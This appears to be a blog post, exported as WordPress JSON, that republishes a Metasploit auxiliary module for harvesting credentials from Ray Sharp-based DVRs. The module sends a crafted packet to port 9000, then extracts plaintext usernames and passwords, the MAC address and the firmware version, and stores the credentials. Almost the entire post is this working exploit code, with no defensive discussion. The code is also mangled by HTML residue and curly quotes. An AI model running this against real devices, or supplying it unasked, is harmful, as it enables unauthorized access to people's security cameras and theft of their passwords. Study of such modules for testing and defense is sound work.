##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner<\/p>\n
def initialize
super(
‘Name’ => ‘Ray Sharp DVR Password Retriever’,
‘Description’ => %q{
This module takes advantage of a protocol design issue with the
Ray Sharp based DVR systems. It is possible to retrieve the username and
password through the TCP service running on port 9000. Other brands using
this platform and exposing the same issue may include Swann, Lorex,
Night Owl, Zmodo, URMET, and KGuard Security.
},
‘Author’ =>
[
‘someluser’, # Python script
‘hdm’ # Metasploit module
],
‘References’ =>
[
[ ‘URL’, ‘http:\/\/console-cowboys.blogspot.com\/2013\/01\/swann-song-dvr-insecurity.html’ ]],
‘License’ => MSF_LICENSE
)<\/p>\n
register_options( [ Opt::RPORT(9000) ])
end<\/p>\n
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: ‘tcp’,
workspace_id: myworkspace_id
}<\/p>\n
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)<\/p>\n
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]}.merge(service_data)<\/p>\n
create_credential_login(login_data)
end<\/p>\n
def run_host(ip)
req =
“\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0E\\x0F” +
“\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00” +
( “\\x00” * 475 )<\/p>\n
connect
sock.put(req)<\/p>\n
buf = “”
begin
# Pull data until the socket closes or we time out
Timeout.timeout(15) do
loop do
res = sock.get_once(-1, 1)
buf << res if res
end
end
rescue ::Timeout::Error
rescue ::EOFError
end<\/p>\n
disconnect<\/p>\n
info = “”
mac = nil
ver = nil<\/p>\n
creds = {}<\/p>\n
buf.scan(\/[\\x00\\xff]([\\x20-\\x7f]{1,32})\\x00+([\\x20-\\x7f]{1,32})\\x00\\x00([\\x20-\\x7f]{1,32})\\x00\/m).each do |cred|
# Make sure the two passwords match
next unless cred[1] == cred[2]creds[cred[0]] = cred[1]end<\/p>\n
if creds.keys.length > 0
creds.keys.sort.each do |user|
pass = creds[user]report_cred(
ip: rhost,
port: rport,
service_name: ‘dvr’,
user: user,
password: pass,
proof: pass
)
info << “(user=’#{user}’ pass=’#{pass}’) “
end
end<\/p>\n
# Look for MAC address
if buf =~ \/([0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2}\\-[0-9A-F]{2})\/mi
mac = $1
end<\/p>\n
# Look for version
if buf =~ \/(V[0-9]+\\.[0-9][^\\x00]+)\/m
ver = $1
end<\/p>\n
info << “mac=#{mac} ” if mac
info << “version=#{ver} ” if ver<\/p>\n
return unless (creds.keys.length > 0 or mac or ver)<\/p>\n
report_service(:host => rhost, :port => rport, :sname => ‘dvr’, :info => info)
print_good(“#{rhost}:#{rport} #{info}”)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(‘Name’ => ‘Ray Sharp DVR Password Retriever’,‘Description’ => %q{This module takes advantage of a protocol design issue with theRay Sharp based DVR systems. It is possible to retrieve the username andpassword through the TCP service running on port …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59371","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59371"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59371\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}